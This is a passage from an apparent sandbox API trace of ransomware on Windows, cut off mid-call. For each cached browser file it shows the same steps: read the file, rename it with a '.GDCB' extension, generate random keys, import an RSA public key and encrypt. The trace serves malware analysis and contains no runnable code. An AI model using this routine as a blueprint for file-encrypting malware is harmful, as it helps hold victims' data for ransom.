data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1ab36a6a[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0284.292] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0284.295] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0284.298] ReadFile (in: hFile=0x424, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285cc50*=0x38ff, lpOverlapped=0x0) returned 1 [0284.325] VirtualAlloc (lpAddress=0x0, dwSize=0x3900, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0284.331] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1ab36a6a[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1ab36a6a[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1ab36a6a[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1ab36a6a[1].js.gdcb")) returned 0 [0284.334] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0284.337] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.339] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.339] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0284.339] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.339] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0284.342] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.344] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.344] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0284.344] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.344] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0284.347] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7530) returned 1 [0284.347] CryptGetKeyParam (in: hKey=0x67a7530, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.347] CryptEncrypt (in: hKey=0x67a7530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0284.347] GetLastError () returned 0x0 [0284.347] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.347] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0284.349] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7b70) returned 1 [0284.349] CryptGetKeyParam (in: hKey=0x67a7b70, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.349] CryptEncrypt (in: hKey=0x67a7b70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0284.349] GetLastError () returned 0x0 [0284.349] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.349] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1acd62c3[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1acd62c3[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0284.351] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0284.354] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0284.356] ReadFile (in: hFile=0x424, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285cc50*=0x1f19a, lpOverlapped=0x0) returned 1 [0284.379] VirtualAlloc (lpAddress=0x0, dwSize=0x1f1a0, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0284.388] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1acd62c3[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1acd62c3[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\1acd62c3[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\1acd62c3[1].js.gdcb")) returned 0 [0284.391] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0284.394] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.396] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.396] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0284.396] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.396] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0284.399] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.401] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.401] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0284.401] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.401] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0284.404] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a8030) returned 1 [0284.404] CryptGetKeyParam (in: hKey=0x67a8030, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.404] CryptEncrypt (in: hKey=0x67a8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0284.404] GetLastError () returned 0x0 [0284.404] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.404] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0284.406] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7fb0) returned 1 [0284.406] CryptGetKeyParam (in: hKey=0x67a7fb0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.406] CryptEncrypt (in: hKey=0x67a7fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0284.406] GetLastError () returned 0x0 [0284.406] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0284.406] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\236a1503[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\236a1503[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0284.407] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0284.411] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0284.414] ReadFile (in: hFile=0x424, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285cc50*=0x3cf6, lpOverlapped=0x0) returned 1 [0284.422] VirtualAlloc (lpAddress=0x0, dwSize=0x3d00, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0284.429] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\236a1503[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\236a1503[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\236a1503[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\236a1503[1].js.gdcb")) returned 0 [0284.432] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0284.435] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.437] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.438] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0284.438] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.438] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0284.441] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.444] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.444] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0284.444] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0284.444] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0284.446] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7cf0) returned 1 [0284.446] CryptGetKeyParam (in: hKey=0x67a7cf0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.447] CryptEncrypt (in: hKey=0x67a7cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0284.447] GetLastError () returned 0x0 [0284.447] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.447] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0284.449] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7c70) returned 1 [0284.449] CryptGetKeyParam (in: hKey=0x67a7c70, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.449] CryptEncrypt (in: hKey=0x67a7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0284.449] GetLastError () returned 0x0 [0284.449] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.449] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\36a8ead3[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\36a8ead3[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0284.450] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0284.454] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0284.457] ReadFile (in: hFile=0x424, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285cc50*=0x26874, lpOverlapped=0x0) returned 1 [0284.491] VirtualAlloc (lpAddress=0x0, dwSize=0x26880, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0284.500] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\36a8ead3[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\36a8ead3[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\36a8ead3[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\36a8ead3[1].js.gdcb")) returned 0 [0284.503] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0284.506] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.509] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.509] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0284.509] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.509] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0284.511] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.514] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.514] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0284.514] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.514] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0284.517] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7ff0) returned 1 [0284.517] CryptGetKeyParam (in: hKey=0x67a7ff0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.517] CryptEncrypt (in: hKey=0x67a7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0284.517] GetLastError () returned 0x0 [0284.517] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.517] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0284.519] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7bf0) returned 1 [0284.519] CryptGetKeyParam (in: hKey=0x67a7bf0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.519] CryptEncrypt (in: hKey=0x67a7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0284.519] GetLastError () returned 0x0 [0284.519] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0284.519] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\3727cd16[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\3727cd16[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0284.520] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0c0000 [0284.524] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0d0000 [0284.526] ReadFile (in: hFile=0x424, lpBuffer=0xd0d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd0d0000*, lpNumberOfBytesRead=0x285cc50*=0x4da8, lpOverlapped=0x0) returned 1 [0284.594] VirtualAlloc (lpAddress=0x0, dwSize=0x4db0, flAllocationType=0x3000, flProtect=0x4) returned 0xd1e0000 [0284.600] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\3727cd16[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\3727cd16[1].css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\3727cd16[1].css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\3727cd16[1].css.gdcb")) returned 0 [0284.603] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0284.606] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.608] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.608] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0284.608] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0284.608] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0284.611] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0284.613] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0284.613] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0284.613] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0284.614] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0284.616] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67a7970) returned 1 [0284.616] CryptGetKeyParam (in: hKey=0x67a7970, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0284.617] CryptEncrypt (in: hKey=0x67a7970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0284.617] GetLastError () returned 0x0 [0284.617] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0284.617] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0284.619] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | 